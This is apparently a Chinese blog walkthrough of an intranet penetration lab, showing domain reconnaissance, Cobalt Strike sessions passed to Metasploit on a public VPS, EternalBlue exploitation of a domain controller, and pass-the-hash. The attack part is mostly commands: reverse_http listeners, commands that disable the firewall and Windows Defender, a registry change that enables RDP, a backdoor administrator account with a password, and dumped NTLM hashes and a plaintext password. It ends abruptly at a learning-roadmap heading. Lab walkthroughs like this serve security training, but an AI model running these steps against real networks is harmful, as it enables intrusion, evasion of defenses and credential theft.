net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)
1、先判断是否存在域,使用 ipconfig /all
查看 DNS 服务器,发现主 DNS 后缀不为空,存在域god.org
,如下图所示:
或者也可以执行命令net config Workstation
来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息:
2、上面发现 DNS 服务器名为 god.org,当前登录域为 GOD,那接下来可执行net view /domain
查看有几个域(域环境可能存在多个域):
3、既然只有一个域,那就利用 net group "domain controllers" /domain
命令查看域控制器主机名,直接确认域控主机的名称为 OWA:
4、已经确认域控主机的名称为 OWA,继续执行命名net view
查看查看局域网内其他主机信息(主机名称、IP地址),可得知域控主机的 IP 为 192.168.52.138
,如下图所示:
5、局域网扫描出来除了域控主机之外还有另一台主机(名称为ROOT-TVI862UBEH
),最后再确认一下该主机是否也是存在域中,故执行命令net group "domain computers" /domain
查看域中的其他主机名,发现包含ROOT-TVI862UBEH
,故域中还包含一个域成员主机192.168.52.141
,如下所示:
至此内网域信息搜集完毕,已经明确了域控主机为192.168.52.138
,同时还存在另一台域成员192.168.52.141
,接下来的目标就是横向渗透拿下域控!
内网横向渗透
接下来将通过 Win7 跳板机,横向渗透拿下内网域内的域成员主机和域控主机。
CS派生会话给公网MSF
MSF 框架集成了诸多渗透测试的利器,在内网渗透中经常要将 CS 和 MSF 搭配起来一块食用!下面演示如何将 CS 获取到的会话派生给 MSF。
此处我在 VPS 主机上同时搭建了 MSF 框架和 CS 服务,其中 MSF 的搭建只需执行以下几条命令即可:
apt-get install curl,wget
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
执行安装脚本:./msfinstall
启动MSF框架: msfconsole
1、MSF 开启监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 104.168.\*\*\*.\*\*\*
set lport 6666
exploit
如下图所示:
2、CS 开启监听
回到 Cobalt Strike 中添加监听器,Payload 为 windows/foreign/reverse_http
,IP 为 MSF 的 IP,监听端口为 MSF 监听的端口:
3、CS 派生会话
选择刚才新建的与 MSF 对应的监听器:
此时返回 VPS 中的 MSF 窗口即可看到获得的 Shell 会话:
4、MSF 简单利用
获得 MSF 的会话后即可使用 MSF 集成的诸多强大功能模块和脚本。简单演示下,如调用post/windows/gather/checkvm
判断靶机是否属于虚拟机(检查是否进入了蜜罐):
再如调用 post/windows/gather/enum_applications
模块枚举列出安装在靶机上的应用程序:
MSF进行永恒之蓝攻击
公网 VPS 上 MSF 获得会话后,目标是借助 MSF 集成的攻击模块开展横向渗透拿下内网其他机器。
静态路由配置
MSF 的 autoroute 模块是 MSF 框架中自带的一个路由转发功能,实现过程是 MSF 框架在已经获取的 Meterpreter Shell 的基础上添加一条去往“内网”的路由,直接使用 MSF 去访问原本不能直接访问的内网资源,只要路由可达我们既可使用 MSF 来进行探测了。
首先需要使用配置静态路由:
#加载MSF的autoroute模块,获取当前机器的所有网段信息
meterpreter > run post/multi/manage/autoroute
#添加目标内网路由
meterpreter > run post/multi/manage/autoroute SUBNET=192.168.52.0 ACTION=ADD
1、获取、查看当前机器的所有网段信息:
2、添加目标内网路由(添加失败,因为该路由已存在):
MSF内网端口扫描
现在路由可达内网网段,可以先对内网主机进行探测。
1、先执行background
命令将当前执行的 Meterpreter 会话切换到后台(后续也可执行sessions -i
重新返回会话),然后使用 MSF 自带 auxiliary/scanner/portscan/tcp
模块扫描内网域成员主机 192.168.52.141
开放的端口:
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set rhosts 192.168.52.141
msf6 > set ports 80,135-139,445,3306,3389
msf6 > run
发现开启了 445 端口:
2、同样的方法,发现域控主机192.168.52.138
也开启了 445 端口:
利用ms17-010进行攻击
1、对于开启了 445 端口的 Windows 服务器,肯定是要进行一波永恒之蓝扫描尝试的,借助 MSF 自带的漏洞扫描模块进行扫描:
msf6 > search ms17_010 #搜索MSF集成的与ms17\_010漏洞相关的模块
msf6 >use auxiliary/scanner/smb/smb_ms17_010 # 加载扫描exp
msf6 >set rhosts 192.168.52.141 #设置被扫描的主机IP
msf6 >run #进行扫描,观察是否存在该漏洞
如下图所示,发现内网其他两台主机都存在永恒之蓝漏洞:
2、接下来尝试利用永恒之蓝漏洞拿下域控主机192.168.52.138
,使用 MSF 集成的 ms17-010 漏洞 EXP:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set rhosts 192.168.52.138
msf6 > run
执行命令如下:
发现域控主机被打蓝屏了:
但是 MSF 并未成功获得域控主机的 Shell 会话:
3、猜测是跳板机 Win7 的防火墙导致的,返回 Win7 的 Shell 会话并执行命令关闭跳板机的防火墙功能:
msf6-> sessions -l #查看所有会话
msf6-> sessions 4 #进入会话4中
netsh advfirewall set allprofiles state off #关闭防火墙
net stop windefend #关闭Windows defender
执行结果如下:
此时到 Win7 虚拟机也可以看到防火墙被关闭的提醒:
4、好了那接下来就开始重新对域控主机进行永恒之蓝攻击,还是无法获得 Shell 会话……
5、好吧看网上资料确实要通过永恒之蓝直接获得目标主机的 Shell 的话成功率不高(我甚至把域控主机的防火墙也关了发现也不行)……以下成果演示借鉴内网渗透靶场学习实验 ,如下是成功通过永恒之蓝获得域控的 MSF 会话:
可执行命令screenshot
截取目标靶机的屏幕,确认已拿下域控:
以上便是借助永恒之蓝漏洞横向渗透拿下域控主机的全过程!
MSF开启3389远程桌面
拿下域控的 Shell 后如果能使用远程桌面连接域控主机,那么管理起来肯定更加方便了。
1、MSF 提供端口转发模块,可以实现将内网的远程桌面端口转发到外网跳板机的端口上,以实现本地物理机进行远程桌面连接。其具体命令如下:
portfwd
-l:本地监听端口
-r:内网目标的ip
-p:内网目标的端口
2、执行命令:portfwd add -l 9999 -r 192.168.52.138 -p 3389
,即可将内网域控主机的192.168.52.138
的 3389 端口代理到 Win7 跳板机的 9999 端口上,大佬演示如下:
3、本人因未能借助永恒之蓝拿到域控的 Shell,所以此处演示下开启 Win7 跳板机的 3389 端口,先来看看 Win7 跳板机默认是不开启远程桌面的:
4、由于已经在 MSF 中获得 Win7 的 Shell,故只需要返回会话并执行命令run post/windows/manage/enable_rdp
即可开启靶机的远程桌面:
5、此时重新连接即可成功连上 Win7 的远程桌面:
6、获得服务器 Shell 后开启远程桌面的方法,除了借助 MSF,在常规渗透过程也可以在 CMD 命令中实现:
#win7开启3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# 添加账户密码
net user Tr0e Pass!@123 /add
# 给Tr0e账户添加为管理员权限
net localgroup administrators Tr0e /add
#查询是否成功添加 Tr0e 用户
net user Tr0e
#添加防火墙规则
netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389
上述命令可以在冰蝎、菜刀的命令终端执行即可。篇幅所限,此处不再演示。
MSF哈希传递攻击PTH
上面既然通过永恒之蓝漏洞难以获得域控主机的 Shell,那就换一种攻击思路拿下域控吧,下面演示的是通过哈希传递攻击 PTH 拿下域控主机。PTH 的相关概念和知识可以参见我的另一篇博文:浅析Windows域环境身份认证与攻击思路。
【哈希传递攻击】在 kerberos、NTLM 认证过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机,操作简单、威力无穷。
在域环境中,利用哈希传递攻击的渗透方式往往是这样的:
- 获得一台域主机的权限,Dump 内存获得该主机的用户密码 Hash 值;
- 通过哈希传递攻击尝试登录其他主机;
- 继续搜集 Hash 并尝试远程登录,直到获得域管理员账户 Hash,登录域控,最终成功控制整个域。
下面使用 Metasploit 来进行本靶场环境的进行 PTH 攻击演示:
1、进行哈希传递攻击的前提是获得已知主机用户的密码 Hash 值,MSF 中自带 mimikatz 模块(在 MSF6 中已被更强大的 kiwi 模块取代)可以进行哈希凭证窃取,用法可参见博文:Metasploit-进阶用户密码与mimikatz模块kiwi模块,此处不演示。大道至简,直接借助 CS 进行用户哈希凭证窃取:
获得的 Administrator 管理员账户的密码信息如下:
msv :
[00000003] Primary
\* Username : Administrator
\* Domain : GOD
\* LM : d3dbdca0422b393019f10a933d4868dc
\* NTLM : b0093b0887bf1b515a90cf123bce7fba
\* SHA1 : 51847afe5a11ac2c0f96b143456419ade5ba2610
tspkg :
\* Username : Administrator
\* Domain : GOD
\* Password : Qwer@1234
2、获得 NTLM Hash:b0093b0887bf1b515a90cf123bce7fba
,在 Metasploit 中,经常使用于哈希传递攻击的模块有:
auxiliary/admin/smb/psexec_command //在目标机器上执行系统命令
exploit/windows/smb/psexec //用psexec执行系统命令
exploit/windows/smb/psexec_psh //使用powershell作为payload
3、以exploit/windows/smb/psexec
模块哈希传递攻击 Windows Server 2008 为例:
学习路线:
这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容: